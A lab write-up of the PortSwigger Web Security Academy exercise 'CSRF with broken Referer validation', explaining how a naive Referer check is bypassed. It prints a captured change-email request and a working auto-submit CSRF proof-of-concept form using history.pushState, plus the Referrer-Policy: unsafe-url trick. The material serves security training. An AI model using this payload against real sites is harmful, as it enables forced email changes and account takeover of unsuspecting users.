← Back to Writeups
PORTSWIGGERN/ACSRF

CSRF with broken Referer validation

XESXOR9/2/20264 min read
#csrf#portswigger#web-security-academy

CSRF with broken Referer validation

Platform: PortSwigger | Category: CSRF | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CSRF

Summary

Walkthrough of the PortSwigger Web Security Academy lab CSRF with broken Referer validation (CSRF). This lab demonstrates a csrf vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — CSRF

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Validation of Referer can be circumvented

Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain: http://vulnerable-website.com.attacker-website.com/csrf-attack

Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL: http://attacker-website.com/csrf-attack?vulnerable-website.com

Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the Referer header by default.

You can override this behavior by making sure that the response containing your exploit has the Referrer-Policy: unsafe-url header set (note that Referrer is spelled correctly in this case, just to make sure you're paying attention!). This ensures that the full URL will be sent, including the query string.

Solution :

Log in as wiener using the credentials - wiener:peter

We get this page to update email.

image

When we click update email, browser sends a request like this,

http
POST /my-account/change-email HTTP/2
Host: 0a1c0080040de829801c712900d600a9.web-security-academy.net
Cookie: session=Axf9Yo6ZjuM9B0wD9vACJtH46iM0ASK1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://0a1c0080040de829801c712900d600a9.web-security-academy.net
Referer: https://0a1c0080040de829801c712900d600a9.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

email=test%40test.com

Here the application verifies the request by comparing the Host: and Referer header.

Our goal is to bypass this referrer header validation . We need to be able to somehow place the attacker domain ie.(exploit server) in the referrer header

  • Exploit server domain - exploit-0acd00e30437e84180cd7051010b004e.exploit-server.net

Check which portion of the referer header is the application validating

Lets us give the attacker domain in the referer header by giving the attacker.com as the domain name and the original domain as a directory portion.

http
Referer: https://attacker-domain.com/?0a1c0080040de829801c712900d600a9.web-security-academy.net/my-account

We get a 301 Redirect

image

This means the application takes this referer header and instead of validating the entire referer header , it just checks if the domain name in HOST header is contained in the referer header. This is done with the help of some regex matching (expected-domain) .

Generate POC -

Replace the attacker domain with exploit server domain. Send the request to POC generator,

Add the Auto-submit script

html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net')</script>
    <form action="https://0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="user&#64;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Explanation of PUSHSTATE -

history.pushState('', '', '/?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net')

  1. This line calls the pushState() method on the history object, which is part of the browser's window object. It allows you to manipulate the browser's history stack, including the URL.
  2. The pushState() method takes three parameters: state, title, and URL.

In this case, the first parameter (state) is an empty string, which means there is no specific state associated with the URL change. The second parameter (title) is also an empty string, which means the document title remains unchanged. The third parameter (URL) is set to /?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net.

This modifies the URL of the current webpage to /?0a8e002d049ccb2281e49d8f00ae00ed.web-security-academy.net without triggering a page reload.

If we send this POC to victim, the lab is not solved. Reason being that modern browsers now strip the query string from the Referer header by default.

We can override this by providing Referrer-Policy: unsafe-url header.

image

Now deliver the exploit to victim to solve the lab.

image

Key Takeaways / Lessons

  • Understanding CSRF detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CSRF with broken Referer validation